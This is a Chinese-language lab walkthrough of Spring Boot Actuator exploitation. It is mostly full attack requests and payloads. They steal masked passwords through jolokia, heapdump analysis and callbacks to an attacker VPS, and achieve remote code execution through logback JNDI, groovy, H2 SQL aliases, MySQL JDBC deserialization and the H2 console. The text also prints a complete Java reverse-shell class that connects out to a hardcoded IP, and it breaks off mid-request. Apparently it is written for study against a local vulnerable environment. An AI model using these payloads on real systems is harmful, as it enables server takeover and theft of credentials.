参考:https://github.com/LandGrey/SpringBootVulExploit
漏洞环境搭建:https://github.com/LandGrey/SpringBootVulExploit
有些程序员会自定义/manage、/managemen
Spring Boot Actuator 1.x 版本默认内置路由的启示路径为/,2.x版本则统一以/actuator为起始路径
Spring Boot Actuator 默认的内置路由名字,如/env有时候也会被程序员修改,比如修改成/appenv
看配置文件application.properties
//启动端口 9098 # vulnerable configuration set 0: spring boot 1.0 - 1.4 # safe configuration set 0: spring boot 1.0 - 1.4 # vulnerable configuration set 1: spring boot 1.5+ # safe configuration set 1: spring boot 1.5+ ## vulnerable configuration set 2: spring boot 2+
server.port=9098
server.address=127.0.0.1
# all spring boot versions 1.0 - 1.4 expose actuators by default without any
parameters
# no configuration required to expose them
#management.security.enabled=true
# spring boot 1.5+ requires management.security.enabled=false to expose
sensitive actuators
#management.security.enabled=false
# when 'management.security.enabled=false' but all sensitive actuators
explicitly disabled
#management.security.enabled=false
#management.security.enabled=false
#management.endpoint.refresh.enabled=true
//开启指定的端点
management.endpoints.web.exposure.include=env,restart,refresh
#management.endpoints.web.exposure.include=*
//开启restart
management.endpoint.restart.enabled=true
搭建好运行环境
访问起始路径它会将配置文件中的端点列出
删除配置文件中的端点
设置配置文件中端点为*
参考指南:https://docs.spring.io/spring-boot/docs/1.5.10.RELEASE/reference/htmlsingle/#production-ready-endpoints
·env:暴露Spring的属性
·heapdump:返回GZip压缩的hprof堆转储文件。
·restart:重启应用
·refresh:读取加载入口
此部分直接般原作者的可以略过
Spring 1.x 和 Spring 2.x 的路由入口不同,区别在于/env 和 /actuator/env
直接访问以下两个 swagger 相关路由,验证漏洞是否存在:
/v2/api-docs
/swagger-ui.html
其他一些可能会遇到的 swagger、swagger codegen、swagger-dubbo 等相关接口路由:
/swagger
/api-docs
/api.html
/swagger-ui
/swagger/codes
/api/index.html
/api/v2/api-docs
/v2/swagger.json
/swagger-ui/html
/distv2/index.html
/swagger/index.html
/sw/swagger-ui.html
/api/swagger-ui.html
/static/swagger.json
/user/swagger-ui.html
/swagger-ui/index.html
/swagger-dubbo/api-docs
/template/swagger-ui.html
/swagger/static/index.html
/dubbo-provider/distv2/index.html
/spring-security-rest/api/swagger-ui.html
/spring-security-oauth-resource/swagger-ui.html
除此之外,下面的 spring boot actuator 相关路由有时也会包含(或推测出)一些接口地址信息,但是无法获得参数相关信息:
/mappings
/metrics
/beans
/configprops
/actuator/metrics
/actuator/mappings
/actuator/beans
/actuator/configprops
参考:https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt
trace
health
loggers
metrics
autoconfig
heapdump
threaddump
env
info
dump
configprops
mappings
auditevents
beans
jolokia
cloudfoundryapplication
hystrix.stream
actuator
actuator/auditevents
actuator/beans
actuator/health
actuator/conditions
actuator/configprops
actuator/env
actuator/info
actuator/loggers
actuator/heapdump
actuator/threaddump
actuator/metrics
actuator/scheduledtasks
actuator/httptrace
actuator/mappings
actuator/jolokia
actuator/hystrix.stream
其中对寻找漏洞比较重要接口的有:
· /env、/actuator/envGET 请求 /env 会直接泄露环境变量、内网地址、配置中的用户名等信息;当程序员的属性名命名不规范,例如 password 写成 psasword、pwd 时,会泄露密码明文;同时有一定概率可以通过 POST 请求 /env 接口设置一些属性,间接触发相关 RCE 漏洞;同时有概率获得星号遮掩的密码、密钥等重要隐私信息的明文。
· /refresh、/actuator/refreshPOST 请求 /env 接口设置属性后,可同时配合 POST 请求 /refresh 接口刷新属性变量来触发相关 RCE 漏洞。
· /restart、/actuator/restart暴露出此接口的情况较少;可以配合 POST请求 /env 接口设置属性后,再 POST 请求 /restart 接口重启应用来触发相关 RCE 漏洞。
· /jolokia、/actuator/jolokia可以通过 /jolokia/list 接口寻找可以利用的 MBean,间接触发相关 RCE 漏洞、获得星号遮掩的重要隐私信息的明文等。
· /trace、/actuator/httptrace一些 http 请求包访问跟踪信息,有可能在其中发现内网应用系统的一些请求信息详情;以及有效用户或管理员的 cookie、jwt token 等信息。
·/heapdump、/actuator/heapdump
heapdump可以通过工具去分析查询存储在实例类中的信息
访问 /env 接口时,spring actuator 会将一些带有敏感关键词(如 password、secret)的属性名对应的属性值用 * 号替换达到脱敏的效果
·目标网站存在 /jolokia 或 /actuator/jolokia 接口
·目标使用了 jolokia-core 依赖(版本要求暂未知)
GET 请求目标网站的 /env 或 /actuator/env 接口,搜索 ****** 关键词,找到想要获取的被星号 * 遮掩的属性值对应的属性名。
将下面示例中的 security.user.password 替换为实际要获取的属性名,直接发包;明文值结果包含在 response 数据包中的 value 键中。
·调用 org.springframework.boot Mbean
实际上是调用 org.springframework.boot.admin.SpringApplicationAdminMXBeanRegistrar 类实例的 getProperty 方法
spring 1.x
POST /jolokia {"mbean": "org.springframework.boot:name=SpringApplication,type=Admin","operation":
"getProperty", "type": "EXEC",
"arguments": ["security.user.password"]}
Content-Type: application/json
spring 2.x
POST
/actuator/jolokia {"mbean":
"org.springframework.boot:name=SpringApplication,type=Admin","operation":
"getProperty", "type": "EXEC",
"arguments": ["security.user.password"]}
Content-Type: application/json
·调用 org.springframework.cloud.context.environment Mbean
实际上是调用 org.springframework.cloud.context.environment.EnvironmentManager 类实例的 getProperty 方法
spring 1.x
POST /jolokia {"mbean":
"org.springframework.cloud.context.environment:name=environmentManager,type=EnvironmentManager","operation":
"getProperty", "type": "EXEC",
"arguments": ["security.user.password"]}
Content-Type: application/json
spring 2.x
POST
/actuator/jolokia {"mbean":
"org.springframework.cloud.context.environment:name=environmentManager,type=EnvironmentManager","operation":
"getProperty", "type": "EXEC",
"arguments": ["security.user.password"]}
Content-Type: application/json
·调用其他 Mbean
目标具体情况和存在的 Mbean 可能不一样,可以搜索 getProperty 等关键词,寻找可以调用的方法。
·可以 GET 请求目标网站的 /env
·可以 POST 请求目标网站的 /env
·可以 POST 请求目标网站的 /refresh 接口刷新配置(存在 spring-boot-starter-actuator 依赖)
·目标使用了 spring-cloud-starter-netflix-eureka-client 依赖
·目标可以请求攻击者的服务器(请求可出外网)
GET 请求目标网站的 /env 或 /actuator/env 接口,搜索 ****** 关键词,找到想要获取的被星号 * 遮掩的属性值对应的属性名。
在自己控制的外网服务器上监听 80 端口:
nc -lvk 80
将下面 http://value:${security.user.password}@your-vps-ip 中的 security.user.password 换成自己想要获取的对应的星号 * 遮掩的属性名;
your-vps-ip 换成自己外网服务器的真实 ip 地址。
spring 1.x
POST /env eureka.client.serviceUrl.defaultZone=http://value:${security.user.password}@your-vps-ip
Content-Type: application/x-www-form-urlencoded
spring 2.x
POST
/actuator/env {"name":"eureka.client.serviceUrl.defaultZone","value":"http://value:${security.user.password}@your-vps-ip"}
Content-Type: application/json
spring 1.x
POST /refresh
Content-Type: application/x-www-form-urlencoded
spring 2.x
POST
/actuator/refresh
Content-Type: application/json
正常的话,此时 nc 监听的服务器会收到目标发来的请求,其中包含类似如下Authorization 头内容:
Authorization: Basic dmFsdWU6MTIzNDU2
将其中的 dmFsdWU6MTIzNDU2部分使用 base64 解码,即可获得类似明文值 value:123456,其中的 123456 即是目标星号 * 脱敏前的属性值明文。
·通过POST /env 设置属性触发目标对外网指定地址发起任意http 请求
·目标可以请求攻击者的服务器(请求可出外网)
参考 UUUUnotfound 提出的 issue-1,可以在目标发外部 http 请求的过程中,在 url path 中利用占位符带出数据
GET 请求目标网站的 /env 或 /actuator/env 接口,搜索 ****** 关键词,找到想要获取的被星号 * 遮掩的属性值对应的属性名。
在自己控制的外网服务器上监听 80 端口:
nc -lvk 80
·spring.cloud.bootstrap.location 方法(同时适用于明文数据中有特殊 url 字符的情况)
spring 1.x
POST /env spring.cloud.bootstrap.location=http://your-vps-ip/?=${security.user.password}
Content-Type: application/x-www-form-urlencoded
spring 2.x
POST
/actuator/env {"name":"spring.cloud.bootstrap.location","value":"http://your-vps-ip/?=${security.user.password}"}
Content-Type: application/json
·eureka.client.serviceUrl.defaultZone 方法(不适用于明文数据中有特殊 url 字符的情况)
spring 1.x
POST /env eureka.client.serviceUrl.defaultZone=http://your-vps-ip/${security.user.password}
Content-Type: application/x-www-form-urlencoded
spring 2.x
POST
/actuator/env {"name":"eureka.client.serviceUrl.defaultZone","value":"http://your-vps-ip/${security.user.password}"}
Content-Type: application/json
spring 1.x
POST /refresh
Content-Type: application/x-www-form-urlencoded
spring 2.x
POST
/actuator/refresh
Content-Type: application/json
访问 /env 接口时,spring actuator 会将一些带有敏感关键词(如 password、secret)的属性名对应的属性值用 * 号替换达到脱敏的效果
·可正常 GET 请求目标 /heapdump 或 /actuator/heapdump 接口
GET 请求目标网站的 /env 或 /actuator/env 接口,搜索 ****** 关键词,找到想要获取的被星号 * 遮掩的属性值对应的属性名。
下载的 heapdump 文件大小通常在 50M—500M 之间,有时候也可能会大于 2G
GET 请求目标的 /heapdump 或 /actuator/heapdump 接口,下载应用实时的 JVM 堆信息
参考 文章 方法,使用 Eclipse Memory Analyzer 工具的 OQL 语句
select * from
java.util.Hashtable$Entry x WHERE
(toString(x.key).contains("password")) 或 select * from java.util.LinkedHashMap$Entry x WHERE (toString(x.key).contains("password"))
辅助用 "password" 等关键词快速过滤分析,获得密码等相关敏感信息的明文。
注意:在命令执行之前要检查好编写的payload和 要修改配置的属性,如果发生错误会导致网站服务断掉
在漏洞环境中的包体中需要区分入口文件和content-type属性
Spring 1.x
POST /env
HTTP1.1
Content-Type: application/x-www-form-urlencoded
Spring 2.x
POST
/actuator/env
Content-Type: application/json
漏洞环境:springboot-restart-rce
JNDIExploit工具:https://github.com/WhiteHSBG/JNDIExploit
·可以 POST 请求目标网站的 /env 接口设置属性
·可以 POST 请求目标网站的 /restart 接口重启应用
·普通 JNDI 注入受目标 JDK 版本影响,jdk < 6u201/7u191/8u182/11.0.1(LDAP),但相关环境可绕过
·⚠️ 目标可以请求攻击者的 HTTP 服务器(请求可出外网),否则 restart 会导致程序异常退出
·⚠️ HTTP 服务器如果返回含有畸形 xml 语法内容的文件,会导致程序异常退出
·⚠️ JNDI 服务返回的 object 需要实现 javax.naming.spi.ObjectFactory 接口,否则会导致程序异常退出
第一步
在服务器执行命令开启JNDI服务,会开启两个服务端口。使用LDAP的1389端口
java -jar JNDIExploit-1.4-SNAPSHOT.jar -i 127.0.0.1
第二步
开启HTTP服务,并将xml文件放在根目录下
python -m http.server 80
ldap的地址修改为VPS地址,端口是上面服务器开放的1389端口,最后面的base64编码的是"start calc",要执行的命令
<configuration>
<insertFromJNDI
env-entry-name="ldap://127.0.0.1:1389/TomcatBypass/Command/Base64/c3RhcnQgY2FsYw=="
as="appName" />
</configuration>
第三步
抓取数据包,修改 logging.config属性,设置logback日志配置文件URL地址。
POST
/actuator/env HTTP/1.1 {"name":"logging.config","value":"http://127.0.0.1/example.xml"}
Host: 127.0.0.1:9098
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Length: 0
Content-Type: application/json
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
接着执restart重启应用,程序会请求URL地址获取的XML文件内容
注意:
发送请求的包中,Content-Type的属性必须是json。
一、 {"name":"logging.config","value":"http://your-vps-ip/example.xml"} 二、
POST /actuator/env
Content-Type: application/json
POST /actuator/restart
Content-Type: application/json
如果是Spring 1.x
一、 logging.config=http://your-vps-ip/example.xml 二、
POST /env
Content-Type: application/x-www-form-urlencoded
POST /restart
Content-Type: application/x-www-form-urlencoded
看JNDI记录,这个漏洞是无回显利用
可以使用查看可以使用的利用链
java -jar JNDIExploit-1.4-SNAPSHOT.jar -u
example.xml配置
<configuration>
<insertFromJNDI
env-entry-name="ldap://0.0.0.0:1389/TomcatBypass/Dnslog/hbbhlmdrxr.dnstunnel.run"
as="appName" />
</configuration>
查看JNDIExploit工具说明中,是支持可回显的。在本地测试失败
只需要将example.xml替换即可
<configuration>
<insertFromJNDI
env-entry-name="ldap://127.0.0.1:1389/TomcatBypass/SpringEcho"
as="appName" />
</configuration>
漏洞环境:springboot-restart-rce
·可以 POST 请求目标网站的 /env 接口设置属性
·可以 POST 请求目标网站的 /restart 接口重启应用
·⚠️ 目标可以请求攻击者的 HTTP 服务器(请求可出外网),否则 restart 会导致程序异常退出
·⚠️ HTTP 服务器如果返回含有畸形 groovy 语法内容的文件,会导致程序异常退出
·⚠️ 环境中需要存在 groovy 依赖,否则会导致程序异常退出
第一步
制作example.groovy文件,放在VPS开启的服务根目录
python -m http.server 80
Runtime.getRuntime().exec("calc")
第二步
设置logging.config属性
POST
/actuator/env HTTP/1.1 {"name":"logging.config","value":"http://127.0.0.1/example.groovy"}
Host: 127.0.0.1:9098
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Length: 0
Content-Type: application/json
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Sec-Fetch-User: ?1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
重启应用
POST
/actuator/restart HTTP/1.1
Host: 127.0.0.1:9098
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Length: 0
Content-Type: application/json
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Sec-Fetch-User: ?1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
修改example文件中的代码即可
漏洞环境:springboot-restart-rce
·可以 POST 请求目标网站的 /env 接口设置属性
·可以 POST 请求目标网站的 /restart 接口重启应用
·⚠️ 目标可以请求攻击者的 HTTP 服务器(请求可出外网),否则 restart 会导致程序异常退出
·⚠️ HTTP 服务器如果返回含有畸形 groovy 语法内容的文件,会导致程序异常退出
·⚠️ 环境中需要存在 groovy 依赖,否则会导致程序异常退出
第一步
制作example.groovy文件,放在VPS开启的服务根目录
python -m http.server 80
Runtime.getRuntime().exec("calc")
第二步
设置spring.main.sources属性
POST
/actuator/env HTTP/1.1 {"name":"spring.main.sources","value":"http://127.0.0.1/example.groovy"}
Host: 127.0.0.1:9098
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Length: 0
Content-Type: application/json
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Sec-Fetch-User: ?1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
重启应用
POST
/actuator/restart HTTP/1.1
Host: 127.0.0.1:9098
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Length: 0
Content-Type: application/json
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Sec-Fetch-User: ?1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
这里和restart logging,config groovy RCE利用相同,只不过修改的属性是spring.main.sources,restart logging,config groovy RCE修改的属性是logging.config
修改example文件中的代码即可
漏洞环境:springboot-restart-rce
·可以 POST 请求目标网站的 /env 接口设置属性
·可以 POST 请求目标网站的 /restart 接口重启应用
·环境中需要存在 h2database、spring-boot-starter-data-jpa 相关依赖
·⚠️ 目标可以请求攻击者的 HTTP 服务器(请求可出外网),否则 restart 会导致程序异常退出
·⚠️ HTTP 服务器如果返回含有畸形 h2 sql 语法内容的文件,会导致程序异常退出
第一步
制作example.groovy文件,放在VPS开启的服务根目录
python -m http.server 80
CREATE ALIAS T4 AS CONCAT('void ex(String m1,String m2,String m3)throws Exception{Runti','me.getRun','time().exe','c(new String[]{m1,m2,m3});}');CALL T4('cmd','/C','start calc');
注意:这里的payload每次执行之后都需要修改文件名以及方法名称并且修改对应的URL地址(文件名),才可以被resart重新使用
第二步
设置spring.datasource.data的属性
POST
/actuator/env HTTP/1.1 {"name":"spring.datasource.data","value":"http://127.0.0.1/example4.sql"}
Host: 127.0.0.1:9098
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Length: 0
Content-Type: application/json
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Sec-Fetch-User: ?1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
重启应用
POST
/actuator/restart HTTP/1.1
Host: 127.0.0.1:9098
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Length: 0
Content-Type: application/json
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Sec-Fetch-User: ?1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
修改example5.sql文件,并修改第一步的URL地址
CREATE ALIAS T5 AS CONCAT('void ex(String m1,String m2,String m3)throws Exception{Runti','me.getRun','time().exe','c(new String[]{m1,m2,m3});}');CALL T5('cmd','/C','ping dxxqzqbizh.dnstunnel.run');
漏洞环境:springboot-mysql-jdbc-rce
·可以 POST 请求目标网站的 /env 接口设置属性
·可以 POST 请求目标网站的 /refresh 接口刷新配置(存在 spring-boot-starter-actuator 依赖)
·目标环境中存在 mysql-connector-java 依赖
·目标可以请求攻击者的服务器(请求可出外网)
本地环境需要配置application.properties中的数据库
spring.datasource.url=jdbc:mysql://127.0.0.1:3306/demo?characterEncoding=utf8&useSSL=false&serverTimezone=GMT
spring.datasource.username=root
spring.datasource.password=root
spring.datasource.driver-class-name=com.mysql.jdbc.Driver
服务启动后开放的是9097端口
第一步
GET请求/actuator/env,搜索环境变量中是否有mysql-connector-java关键词
版本号:mysql-connector-java-8.0.12.jar
存在反序列化gadget依赖:commons-collections 3.2.1
JDBC连接信息:
jdbc:mysql://127.0.0.1:3306/demo?characterEncoding=utf8&useSSL=false&serverTimezone=GMT
第二步
架设恶意的rogue mysql server
下载脚本:https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/springboot-jdbc-deserialization-rce.py
使用ysoserial定义执行的命令
https://github.com/frohoff/ysoserial/releases/tag/v0.0.6
java -jar ysoserial-all.jar CommonsCollections3 calc > payload.ser
使用python2 执行python脚本,并将payload.ser放在执行脚本的同级目录下
第三步
设置spring.datasource.url属性
mysql-connector-java 5.x 版本设置属性值为:
jdbc:mysql://your-vps-ip:3306/mysql?characterEncoding=utf8&useSSL=false&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true
mysql-connector-java 8.x 版本设置属性值为:
jdbc:mysql://your-vps-ip:3306/mysql?characterEncoding=utf8&useSSL=false&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true
设置属性发送包
POST
/actuator/env HTTP/1.1 {"name":"spring.datasource.url","value":"jdbc:mysql://192.168.8.157:3306/mysql?characterEncoding=utf8&useSSL=false&serverTimezone=GMT&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true"}
Host: 127.0.0.1:9097
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: identity
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Length: 0
Content-Type: application/json
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
重启应用
POST
/actuator/refresh HTTP/1.1
Host: 127.0.0.1:9097
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: identity
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Length: 0
Content-Type: application/json
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
步骤四
访问数据库查询接口,触发漏洞。或者寻找网站上其他进行数据查询的功能,此处只是测试demo
GET
/product/list HTTP/1.1
Host: 127.0.0.1:9097
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: identity
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/json
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
python脚本搭建的mysql服务有反应,但是我这里没执行成功
把上面获取的jdbc连接,重新在步骤三发送一次
POST
/actuator/env HTTP/1.1 {"name":"spring.datasource.url","value":"jdbc:mysql://127.0.0.1:3306/demo?characterEncoding=utf8&useSSL=false&serverTimezone=GMT"}
Host: 127.0.0.1:9097
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: identity
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Length: 0
Content-Type: application/json
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
漏洞环境:springboot-h2-database-rce
·存在 com.h2database.h2 依赖(版本要求暂未知)
·spring 配置中启用 h2 console spring.h2.console.enabled=true
·目标可以请求攻击者的服务器(请求可出外网)
·JNDI 注入受目标 JDK 版本影响,jdk < 6u201/7u191/8u182/11.0.1(LDAP 方式)
注意:此漏洞属于一次性,执行一次之后需要手动重启服务才可以再次利用
第一步
直接访问路由获得jessionid
第二步
准备要执行的Java代码,这里只是用来测试。
将代码编译,这里必须使用兼容低版本jdk的方式编译,否则执行失败
javac -source 1.5 -target 1.5 JNDIObject.java
/** import java.io.File; public class JNDIObject {
* javac -source 1.5 -target 1.5 JNDIObject.java
*
* Build By LandGrey
* */
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
}
第三步
在VPS开启HTTP服务,并将第二步的class文件放在根目录
python -m http.server 80
第四步
架设对应的ldap服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://your-vps-ip:80/#JNDIObject 1389
第五步
发包并替换对应的jsessionid,修改ldap中的地址
注意:访问路由界面的后缀是.jsp,而这里的是.do
POST
/h2-console/login.do?jsessionid=ff72f1d4537c1ddc30e88b32921236cf HTTP/1.1 language=en&setting=Generic+H2+%28Embedded%29&name=Generic+H2+%28Embedded%29&driver=javax.naming.InitialContext&url=ldap://192.168.8.143:1389/JNDIObject&user=&password=
Host: 127.0.0.1:9096
Content-Type: application/x-www-form-urlencoded
Referer: http://127.0.0.1:9096/h2-console/login.do?jsessionid=ff72f1d4537c1ddc30e88b32921236cf
多次测试发现,这个漏洞属于一次性的,也就是说这个服务启动一次只能使用这个漏洞一次。
使用java构建恶意类直接反弹shell
/** import java.io.File; public class JNDIObject {
* javac -source 1.5 -target 1.5 JNDIObject.java
*
* Build By LandGrey
* */
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;
static {
try{
String ip =
"192.168.8.143"; //VPS地址
String port =
"443";
String py_path = null;
String[] cmd;
if
(!System.getProperty("os.name").toLowerCase().contains("windows"))
{
String[] py_envs = new
String[]{"/bin/python", "/bin/python3",
"/usr/bin/python", "/usr/bin/python3",
"/usr/local/bin/python", "/usr/local/bin/python3"};
for(int i = 0; i <
py_envs.length; ++i) {
String py =
py_envs[i];
if ((new File(py)).exists()) {
py_path = py;
break;
}
}
if (py_path != null) {
if ((new
File("/bin/bash")).exists()) {
cmd = new
String[]{py_path, "-c", "import
pty;pty.spawn(\"/bin/bash\")"};
} else {
cmd = new
String[]{py_path, "-c", "import
pty;pty.spawn(\"/bin/sh\")"};
}
} else {
if ((new
File("/bin/bash")).exists()) {
cmd = new
String[]{"/bin/bash"};
} else {
cmd = new
String[]{"/bin/sh"};
}
}
} else {
cmd = new
String[]{"cmd.exe"};
}
Process p = (new
ProcessBuilder(cmd)).redirectErrorStream(true).start();
Socket s = new Socket(ip,
Integer.parseInt(port));
InputStream pi =
p.getInputStream();
InputStream pe =
p.getErrorStream();
InputStream si =
s.getInputStream();
OutputStream po =
p.getOutputStream();
OutputStream so =
s.getOutputStream();
while(!s.isClosed()) {
while(pi.available() >
0) {
so.write(pi.read());
}
while(pe.available() >
0) {
so.write(pe.read());
}
while(si.available() >
0) {
po.write(si.read());
}
so.flush();
po.flush();
Thread.sleep(50L);
try {
p.exitValue();
break;
} catch (Exception e) {
}
}
p.destroy();
s.close();
}catch (Throwable e){
e.printStackTrace();
}
}
}
我这里在本地弹VPS失败,本地可以弹成功,可能是我本地防火墙原因
还可以自己构造恶意类,进行DNSlog检测
/** import java.io.File; public class JNDIObject {
* javac -source 1.5 -target 1.5 JNDIObject.java
*
* Build By LandGrey
* */
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;
static {
try {
Runtime.getRuntime().exec("ping
axvrvkkwzn.dnstunnel.run");
} catch (IOException e) {
e.printStackTrace();
}
}
}
使用这款工具就不需要像上面那么麻烦,启动一个ldap服务
java -jar JNDIExploit-1.4-SNAPSHOT.jar -i 192.168.8.143
选择一个payload
执行
而且多次执行也是没问题的
利用TomcatEcho回显
漏洞环境:repository/springboot-h2-database-rce
·可以 POST 请求目标网站的 /env 接口设置属性
·可以 POST 请求目标网站的 /restart 接口重启应用
·存在 com.h2database.h2 依赖(版本要求暂未知)
payload
value":"CREATE ALIAS T1 AS CONCAT('void ex(String m1,String m2,String m3)throws Exception{Runti','me.getRun','time().exe','c(new String[]{m1,m2,m3});}');CALL T1('cmd','/c','calc');
第一步
设置spring.datasource.hikari.connection-test-query属性
POST
/actuator/env HTTP/1.1 {"name":"spring.datasource.hikari.connection-test-query","value":"CREATE
ALIAS T5 AS CONCAT('void ex(String m1,String m2,String m3)throws
Exception{Runti','me.getRun','time().exe','c(new String[]{m1,m2,m3});}');CALL
T5('cmd','/c','calc');"}
Host: 127.0.0.1:9096
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Length: 0
Content-Type: application/json
Referer:
http://127.0.0.1:9096/h2-console/login.do?jsessionid=85a087335ef703becb8069a1509011b5
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
第二步
重启应用
POST /actuator/restart
HTTP/1.1
Host: 127.0.0.1:9096
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, br
